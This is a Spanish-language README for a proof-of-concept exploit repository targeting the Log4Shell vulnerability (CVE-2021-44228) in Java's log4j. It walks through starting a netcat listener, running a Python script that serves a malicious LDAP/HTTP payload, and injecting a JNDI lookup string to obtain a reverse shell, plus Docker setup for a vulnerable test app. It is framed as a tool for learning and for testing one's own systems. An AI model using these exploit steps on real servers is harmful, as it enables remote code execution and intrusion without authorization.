
Una prueba de concepto para la vulnerabilidad CVE-2021-44228.
Una prueba de concepto para la vulnerabilidad CVE-2021-44228 descubierta recientemente.
Recientemente se descubrió una nueva vulnerabilidad en log4j, una biblioteca de registro de Java muy utilizada en proyectos como Elasticsearch, Minecraft y muchos otros.
En este repositorio hemos creado una aplicación vulnerable de ejemplo y un exploit de prueba de concepto (POC) para ella.
Aplicación web vulnerable:
Ghidra (script antiguo):
Minecraft PoC (script antiguo):
Como PoC, hemos creado un archivo de Python que automatiza el proceso.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, y estar en el mismo directorio.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Este script configurará el servidor HTTP y el servidor LDAP por ti, y también creará el payload que puedes usar para pegar en el parámetro vulnerable. Después de esto, si todo salió bien, deberías obtener una shell en el lport.
Hemos añadido un Dockerfile con la webapp vulnerable. Puedes usarlo siguiendo los pasos a continuación:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Una vez que esté en ejecución, puedes acceder a ella en localhost:8080
Si deseas desarrollar más el proyecto, puedes usar el IDE Intellij que usamos para desarrollarlo. También hemos incluido una carpeta .idea con archivos de configuración que facilitan un poco el trabajo. Probablemente también puedas usar otros IDE.
Al momento de crear el exploit, no estábamos seguros de exactamente qué versiones de Java funcionan y cuáles no, así que decidimos trabajar con una de las primeras versiones de Java 8: java-8u20.
Afortunadamente, Oracle proporciona un archivo de todas las versiones anteriores de Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Desplázate hacia abajo hasta 8u20 y descarga los archivos adecuados para tu sistema operativo y hardware.

Nota: Sí necesitas crear una cuenta para poder descargar el paquete.
Una vez que hayas descargado y extraído el archivo, puedes encontrar java y algunos binarios relacionados en jdk1.8.0_20/bin.
Nota: Asegúrate de extraer la carpeta jdk en este repositorio con el mismo nombre para que funcione.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositorio no pretende ser un exploit de un solo clic para CVE-2021-44228. El propósito de este proyecto es ayudar a las personas a aprender sobre esta increíble vulnerabilidad y, quizás, probar sus propias aplicaciones (aunque hay mejores aplicaciones para este propósito, p. ej.: https://log4shell.tools/).
Nuestro equipo no ayudará ni respaldará ningún uso de este exploit para actividades maliciosas; por lo tanto, si pides ayuda, es posible que debas proporcionarnos una prueba de que eres dueño del servicio objetivo o de que tienes permisos para hacer pentesting en él.